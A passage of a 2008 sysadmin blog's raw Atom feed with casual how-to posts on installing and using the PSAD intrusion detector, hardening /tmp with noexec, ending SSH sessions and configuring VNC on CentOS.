/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/1155726993930541313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=1155726993930541313' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1155726993930541313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1155726993930541313'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/fwknopd-firewall-knock-operator-aka-spa.html' title='fwknopd - Firewall Knock Operator aka SPA, Single Packet Authentication'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i71.photobucket.com/albums/i158/anakin81/security/th_email.jpg' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-7240400953350426290</id><published>2008-11-22T07:27:00.001-08:00</published><updated>2008-11-22T07:45:15.724-08:00</updated><title type='text'>PSAD -  how it works ???</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Here is the /var/log/messages&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Nov 22 23:22:36 www kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:1e:68:9a:f6:19:00:13:7f:c4:47:1a:08:00 SRC=123.12.89.26 DST=203.114.11.102 LEN=40 TOS=0x00 PREC=0x00 TTL=106 ID=55810 PROTO=TCP SPT=6000 DPT=3389 WINDOW=16384 RES=0x00 SYN URGP=0&lt;br /&gt;Nov 22 23:22:41 www psad: src: 123.12.89.26 signature match: "MISC MS Terminal Server communication attempt" (sid: 100077) tcp port: 3389&lt;br /&gt;Nov 22 23:22:41 www psad: scan detected: 123.12.89.26 -&gt; 203.114.11.102 tcp: [3389] flags: SYN tcp pkts: 1 DL: 2&lt;br /&gt;&lt;br /&gt;Nov 22 23:28:03 www kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:1e:68:9a:f6:19:00:13:7f:c4:47:1a:08:00 SRC=221.10.240.100 DST=203.114.11.102 LEN=48 TOS=0x00 PREC=0x00 TTL=114 ID=48158 DF PROTO=TCP SPT=4121 DPT=4899 WINDOW=16384 RES=0x00 SYN URGP=0&lt;br /&gt;Nov 22 23:28:07 www psad: src: 221.10.240.100 signature match: "MISC Radmin Default install options attempt" (sid: 100204) tcp port: 4899&lt;br /&gt;Nov 22 23:28:07 www psad: scan detected: 221.10.240.100 -&gt; 203.114.11.102 tcp: [4899] flags: SYN tcp pkts: 1 DL: 2&lt;br /&gt;&lt;br /&gt;Nov 22 23:36:02 www kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:1e:68:9a:f6:19:00:13:7f:c4:47:1a:08:00 SRC=77.194.196.82 DST=203.114.11.102 LEN=48 TOS=0x00 PREC=0x00 TTL=110 ID=22232 DF PROTO=TCP SPT=4390 DPT=4899 WINDOW=65535 RES=0x00 SYN URGP=0&lt;br /&gt;Nov 22 23:36:07 www psad: src: 77.194.196.82 signature match: "MISC Radmin Default install options attempt" (sid: 100204) tcp port: 4899&lt;br /&gt;Nov 22 23:36:07 www psad: scan detected: 77.194.196.82 -&gt; 203.114.11.102 tcp: [4899] flags: SYN tcp pkts: 1 DL: 2&lt;br /&gt;&lt;br /&gt;see this 3 part, once the packet drop by my shorewall ( iptables ), PSAD then perform the job.&lt;br /&gt;Then, It will read the signature if match it will block the IP for certain period&lt;br /&gt;&lt;br /&gt;coool, is it?????&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-7240400953350426290?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/7240400953350426290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=7240400953350426290' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/7240400953350426290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/7240400953350426290'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/psad-log.html' title='PSAD -  how it works ???'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-1210182114934262675</id><published>2008-11-15T10:05:00.000-08:00</published><updated>2008-11-15T10:07:11.204-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>PSAD - update signature</title><content type='html'>&lt;span style="font-weight: bold;"&gt;[root@www ~]# psad  --sig-update&lt;/span&gt;&lt;br /&gt;[+] Archiving original /etc/psad/signatures -&gt; signatures.old1&lt;br /&gt;[+] Downloading latest signatures from:&lt;br /&gt;        http://www.cipherdyne.org/psad/signatures&lt;br /&gt;--02:04:17--  http://www.cipherdyne.org/psad/signatures&lt;br /&gt;Resolving www.cipherdyne.org... 204.174.223.204&lt;br /&gt;Connecting to www.cipherdyne.org|204.174.223.204|:80... connected.&lt;br /&gt;HTTP request sent, awaiting response... 200 OK&lt;br /&gt;Length: 45096 (44K) [text/plain]&lt;br /&gt;Saving to: `signatures'&lt;br /&gt;&lt;br /&gt;100%[=====================================================================================================================&gt;] 45,096      36.9K/s   in 1.2s&lt;br /&gt;&lt;br /&gt;02:04:20 (36.9 KB/s) - `signatures' saved [45096/45096]&lt;br /&gt;&lt;br /&gt;[+] New signature file /etc/psad/signatures has been put in&lt;br /&gt;    place. You can restart psad (or use 'psad -H') to import the&lt;br /&gt;    new sigs.&lt;br /&gt;&lt;br /&gt;note:: see, the signature is updated.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now do restart PSAD with the below command :-&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[root@www ~]# psad  -H&lt;/span&gt;&lt;br /&gt;[+] HUP signal sent to psadwatchd (pid: 32406)&lt;br /&gt;[+] HUP signal sent to psad (pid: 32404)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-1210182114934262675?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/1210182114934262675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=1210182114934262675' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1210182114934262675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/1210182114934262675'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/psad-update-signature.html' title='PSAD - update signature'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-2187417098301608791</id><published>2008-11-15T03:19:00.000-08:00</published><updated>2008-11-15T04:35:15.970-08:00</updated><title type='text'>PSAD - how to</title><content type='html'>still in the redhat/centos :P&lt;br /&gt;&lt;br /&gt;what is PSAD ??&lt;br /&gt;im lazy to explain and please go to read it..&lt;br /&gt;http://www.cipherdyne.org/psad/docs/&lt;br /&gt;&lt;br /&gt;Here we go, go to download the PSAD package.&lt;br /&gt;http://www.cipherdyne.org/psad/download/&lt;br /&gt;&lt;br /&gt;ok, download the package by wget :P&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www ~]$ wget http://www.cipherdyne.org/psad/download/psad-2.1.4-1.i386.rpm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--19:21:37--  http://www.cipherdyne.org/psad/download/psad-2.1.4-1.i386.rpm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resolving www.cipherdyne.org... 204.174.223.204&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Connecting to www.cipherdyne.org|204.174.223.204|:80... connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;HTTP request sent, awaiting response... 200 OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Length: 748833 (731K) [audio/x-pn-realaudio-plugin]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saving to: `psad-2.1.4-1.i386.rpm'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;100%[============================================================&gt;] 748,833     82.4K/s   in 9.0s&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;19:21:47 (81.1 KB/s) - `psad-2.1.4-1.i386.rpm' saved [748833/748833]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;note:: done&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Install it , go go go :-&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www ~]$ sudo rpm -ivh psad-2.1.4-1.i386.rpm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Preparing...                ########################################### [100%]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;   1:psad                   ########################################### [100%]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Can't open /etc/psad/psadwatchd.conf: No such file or directory.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[+] You can edit the EMAIL_ADDRESSES variable in /etc/psad/psad.conf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    /etc/psad/psadwatchd.conf to have email alerts sent to an address&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    other than root\@localhost&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;note:: see , it is so obvious that asking you to modify the psad.conf and psadwatchd.conf enable to send you the email alert :P&lt;br /&gt;&lt;br /&gt;before modify must always backup the original config file, use this as a practice&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;[alex@www psad]$ sudo cp psad.conf psad.conf.old&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Modify it la la la la&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www psad]$ sudo vi psad.conf&lt;br /&gt;&lt;/span&gt;Change this line to ur email address&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;EMAIL_ADDRESSES             alex@gmail.com;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make it auto startup after system reboot&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www psad]$ sudo /sbin/chkconfig psad on&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www psad]$ sudo /sbin/chkconfig --level 35 psad on&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www psad]$ sudo /etc/init.d/psad start&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Starting psad:                                             [  OK  ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check you /var/log/messages : -&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported valid icmp types and codes&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported p0f-based passive OS fingerprinting signatures&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported TOS-based passive OS fingerprinting signatures&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported Snort classification.config&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported original Snort rules in /etc/psad/snort_rules/ for reference info&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;Nov 15 19:32:58 www psad: imported 205 psad Snort signatures from /etc/psad/signatures&lt;/span&gt;&lt;br /&gt;if you saw above message, that mean your system has been added another security layer :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then, i do scanning by my freeBSD ( so sorry this part i will exclude it.. it is dangerous to let u guy learn it :P hehe kidding lah, i just being lazy to write it out )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now, see i had received an email from my system that report have somebody scan my server :P&lt;br /&gt;Sorry for i couldnt reveal the information that belong to my customer :-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i71.photobucket.com/albums/i158/anakin81/security/scanresult.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 779px; height: 558px;" src="http://i71.photobucket.com/albums/i158/anakin81/security/scanresult.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;continue the picture&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i71.photobucket.com/albums/i158/anakin81/security/scanresult2JPG.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 526px; height: 784px;" src="http://i71.photobucket.com/albums/i158/anakin81/security/scanresult2JPG.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-2187417098301608791?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/2187417098301608791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=2187417098301608791' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2187417098301608791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2187417098301608791'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/psad-how-to.html' title='PSAD - how to'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i71.photobucket.com/albums/i158/anakin81/security/th_scanresult.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-4823256281617361530</id><published>2008-11-15T02:48:00.001-08:00</published><updated>2008-11-15T03:02:01.783-08:00</updated><title type='text'>securing your /tmp directory - how to</title><content type='html'>&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ touch alex.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ pwd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/tmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ ls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;alex.sh  gconfd-root  lost+found  mapping-root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Write a sample and stupid simple script to do testing:-&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]vi /tmp/alex.sh&lt;/span&gt;&lt;br /&gt;echo a;&lt;br /&gt;&lt;br /&gt;note:  just a line echo a will do, then save and quit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then, do chmod executable for the alex.sh to make it able to execute&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ chmod a+x alex.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Run the script and see: -&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ ./alex.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;a&lt;/span&gt;&lt;br /&gt;Note: SHIT, it is able to execute in the /tmp .. It is dangerous and not allow for the production server.&lt;br /&gt;&lt;br /&gt;Switch user to root&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ su -l root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Password:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Then, modify the /etc/fstab&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;[root@www ~]#&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;vi /etc/fstab&lt;/span&gt;&lt;br /&gt;/dev/md0                /                       ext3    defaults        1 1&lt;br /&gt;/dev/md3                /var                    ext3    defaults        1 2&lt;br /&gt;/dev/md2                /tmp                    ext3    &lt;span style="font-weight: bold;"&gt;loop,nosuid,noexec,rw&lt;/span&gt;   1 2&lt;br /&gt;tmpfs                   /dev/shm                tmpfs   defaults        0 0&lt;br /&gt;devpts                  /dev/pts                devpts  gid=5,mode=620  0 0&lt;br /&gt;sysfs                   /sys                    sysfs   defaults        0 0&lt;br /&gt;proc                    /proc                   proc    defaults        0 0&lt;br /&gt;/dev/md1                swap                    swap    defaults        0 0&lt;br /&gt;&lt;br /&gt;note : just add on the bold part in the /tmp line :P will do&lt;br /&gt;&lt;br /&gt;After that, do remount to make it available : -&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[root@www ~]# mount -o remount /tmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Re-run the script and see :-&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ ls -la&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;total 72&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxrwxrwt  7 root root  4096 Nov 15 18:50 .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxr-xr-x 24 root root  4096 Nov  8 17:49 ..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rwxrwxr-x  1 alex alex     9 Nov 15 18:49 alex.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxrwxrwt  2 root root  4096 Nov  8 17:49 .font-unix&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwx------  2 root root  4096 Nov  8 17:32 gconfd-root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;srw-rw-rw-  1 root root     0 Nov  8 17:49 .gdm_socket&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxrwxrwt  2 root root  4096 Nov  8 17:49 .ICE-unix&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwx------  2 root root 16384 Nov  8 15:09 lost+found&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;srwxr-xr-x  1 root root     0 Nov  8 15:25 mapping-root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-------  1 root root  1024 Nov  8 15:13 .rnd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-r--r--r--  1 root root    11 Nov  8 17:49 .X0-lock&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxrwxrwt  2 root root  4096 Nov 15 18:18 .X11-unix&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-r--r--r--  1 alex alex    11 Nov 15 18:18 .X2-lock&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[alex@www tmp]$ ./alex.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-bash: ./alex.sh: Permission denied&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;see, it is permission denied :P wakakak&lt;br /&gt;not able to execute anymore :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-4823256281617361530?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/4823256281617361530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=4823256281617361530' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/4823256281617361530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/4823256281617361530'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/securing-your-tmp-directory-how-to.html' title='securing your /tmp directory - how to'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-5947158803080559661</id><published>2008-11-15T02:42:00.000-08:00</published><updated>2008-11-15T02:45:39.534-08:00</updated><title type='text'>kill user in the linux system - how to</title><content type='html'>below is the guide for centos5.1&lt;br /&gt;i think this is a native command of Linux , should be applicable to any disto of Linux&lt;br /&gt;&lt;br /&gt;check the user in the system with w or who: -&lt;br /&gt;[root@www ~]# w&lt;br /&gt; 18:41:09 up 7 days, 52 min,  3 users,  load average: 0.08, 0.09, 0.02&lt;br /&gt;USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT&lt;br /&gt;root     pts/1    118.100.15.195   16:44    1:49m  0.01s  0.01s -bash&lt;br /&gt;root     pts/2    118.100.15.195   18:03   20:14   0.05s  0.05s -bash&lt;br /&gt;alex     pts/3    118.100.15.195   18:40    0.00s  0.02s  0.01s sshd: alex [pri&lt;br /&gt;&lt;br /&gt;see, total is 3 users, as myself is alex, so i would like to kill user root for both session pts1 and pts2&lt;br /&gt;&lt;br /&gt;So, this is the killing command, to kill the pts1 just do as the command like below: -&lt;br /&gt;[root@www ~]# skill -KILL -v pts/1&lt;br /&gt;pts/1    root     25170 bash&lt;br /&gt;&lt;br /&gt;Now, i kill the pts2 sesssion: -&lt;br /&gt;[root@www ~]# skill -KILL -v pts/2&lt;br /&gt;pts/2    root     26041 bash&lt;br /&gt;&lt;br /&gt;Check and ensure whether the user has been killed or not:-&lt;br /&gt;[root@www ~]# w&lt;br /&gt; 18:41:31 up 7 days, 52 min,  1 user,  load average: 0.06, 0.08, 0.02&lt;br /&gt;USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT&lt;br /&gt;alex     pts/3    118.100.15.195   18:40    0.00s  0.02s  0.01s sshd: alex [pri&lt;br /&gt;&lt;br /&gt;yes, the user no more exists in the system :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-5947158803080559661?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/5947158803080559661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=5947158803080559661' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/5947158803080559661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/5947158803080559661'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/kill-user-in-linux-system-how-to.html' title='kill user in the linux system - how to'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-3774075022845799069</id><published>2008-11-15T01:57:00.001-08:00</published><updated>2008-11-15T02:03:15.615-08:00</updated><title type='text'>setting up VNC in the centos</title><content type='html'>note ::&lt;br /&gt;all the command start with either : -&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#  = super user  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$  = normal user &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;stop the vnc server&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#/etc/init.d/vncserver stop &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;modify the /etc/sysconfig/vncservers&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#vi /etc/sysconfig/vncservers &lt;/span&gt;&lt;br /&gt;add below 2 lines: -&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VNCSERVERS="3:hackintosh"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; VNCSERVERSARGS[3]="-geometry 1024x800"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;note: hackintosh must an user in the system&lt;br /&gt;&lt;br /&gt;login as hackintosh and then issue this command:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$vncpasswd &lt;/span&gt;&lt;br /&gt;then, change your vnc password&lt;br /&gt;&lt;br /&gt;Then,  try the below command and see the information is correct or not :-&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$vncserver -httpd &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;if you see the below message that mean the hackintosh user are allow to use the VNC&lt;br /&gt;xauth:  creating new authority file /home/hackintosh/.Xauthority&lt;br /&gt;New 'hackintosh.com:3 (hackintosh)' desktop is hackintosh.com:3&lt;br /&gt;Creating default startup script /home/hackintosh/.vnc/xstartup&lt;br /&gt;Starting applications specified in /home/hackintosh/.vnc/xstartup&lt;br /&gt;Log file is /home/hackintosh/.vnc/hackintosh.com:3.log&lt;br /&gt;&lt;br /&gt;Then, restart vnc server。&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#/etc/init.d/vncserver restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; Then, you will see the messages some sort like below : -&lt;br /&gt;Starting VNC server: 3:hackintosh&lt;br /&gt;New 'hackintosh.com:3 (hackintosh)' desktop is hackintosh:3&lt;br /&gt;&lt;br /&gt;Starting applications specified in /home/hackintosh/.vnc/xstartup&lt;br /&gt;Log file is /home/hackintosh/.vnc/hackintosh.com:3.log&lt;br /&gt;&lt;br /&gt;                                                           [  OK  ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;you see the above message the hackintosh.com:3 that mean you use the port 5903 to connect to server :P&lt;br /&gt;&lt;br /&gt;simple enough :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-3774075022845799069?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/3774075022845799069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=3774075022845799069' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/3774075022845799069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/3774075022845799069'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2008/11/setting-up-vnc-in-centos.html' title='setting up VNC in the centos'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-3307578800010081670</id><published>2007-12-24T20:36:00.000-08:00</published><updated>2007-12-24T21:07:16.960-08:00</updated><title type='text'>Centos 5 - Linux Bonding - mode5</title><content type='html'>Linux bonding is a tool use to combine 2 or more Ethernet cards together to make more bandwidth available.&lt;br /&gt;&lt;br /&gt;For example, your server have 1 